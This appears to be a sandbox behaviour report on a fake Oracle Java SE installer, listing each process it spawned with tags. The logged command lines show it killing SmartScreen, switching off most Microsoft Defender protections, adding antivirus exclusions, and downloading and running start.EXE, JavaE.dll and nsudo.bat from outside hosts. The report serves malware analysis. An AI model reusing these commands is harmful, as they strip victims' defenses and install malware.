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C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 18904317B38844EB16A094B3EED56370 E Global\MSI00002⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4008 -
C:\Windows\syswow64\cmd.exe"cmd.exe" /C "C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\setup.bat"3⤵
- Suspicious use of WriteProcessMemory
PID:2500 -
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\smartscreen.exe" /a4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3508
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C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\smartscreen.exe" /reset4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:204
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C:\Windows\SysWOW64\taskkill.exetaskkill /im smartscreen.exe /f4⤵
- Kills process with taskkill
PID:2948
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C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\smartscreen.exe" /inheritance:r /remove *S-1-5-32-544 *S-1-5-11 *S-1-5-32-545 *S-1-5-184⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2704
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath '"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3156
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Add-MpPreference -ExclusionExtension ".exe""4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2120
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Add-MpPreference -ExclusionExtension ".dll""4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3120
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C:\Windows\SysWOW64\cmd.execmd /c powershell.exe -command "Set-MpPreference -MAPSReporting 0"4⤵
- Suspicious use of WriteProcessMemory
PID:1292 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -MAPSReporting 0"5⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:776
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -PUAProtection disable"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4576
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -EnableControlledFolderAccess Disabled"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3752
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4672
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableBehaviorMonitoring $true"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4700
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableBlockAtFirstSeen $true"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4756
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableIOAVProtection $true"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4844
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisablePrivacyMode $true"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4548
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:5008
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableArchiveScanning $true"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:5088
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableIntrusionPreventionSystem $true"4⤵
- Suspicious behavior: EnumeratesProcesses
PID:4204
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableScriptScanning $true"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2632
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:500
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -SubmitSamplesConsent 2"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1796
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1296
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4368
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4780
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -ScanScheduleDay 8"4⤵
- Modifies data under HKEY_USERS
PID:644
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Invoke-WebRequest https://atclouroettfbquhfimp.com/start.EXE -OutFile start.EXE4⤵
- Blocklisted process makes network request
- Modifies data under HKEY_USERS
PID:1000
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C:\Windows\SysWOW64\explorer.exeexplorer.exe "start.EXE"4⤵
- Checks processor information in registry
PID:5076
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C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵PID:508
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C:\Users\Admin\AppData\Roaming\start.EXE"C:\Users\Admin\AppData\Roaming\start.EXE"2⤵
- Executes dropped EXE
- Adds Run key to start application
PID:2180 -
C:\Windows\SYSTEM32\cmd.execmd /c start.bat3⤵PID:3356
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Invoke-WebRequest https://gucdhwpcfjmmcefypliv.com/JavaE.dll -OutFile JavaE.dll4⤵
- Blocklisted process makes network request
PID:4820
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C:\Windows\system32\regsvr32.exeregsvr32 JavaE.dll4⤵PID:648
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Invoke-WebRequest https://gucdhwpcfjmmcefypliv.com/nsudo.bat -OutFile nsudo.bat4⤵
- Blocklisted process makes network request
PID:744
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C:\Windows\system32\cmd.execmd /c nsudo.bat4⤵PID:2068
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C:\Windows\system32\timeout.exetimeout 254⤵
- Delays execution with timeout.exe
PID:4272
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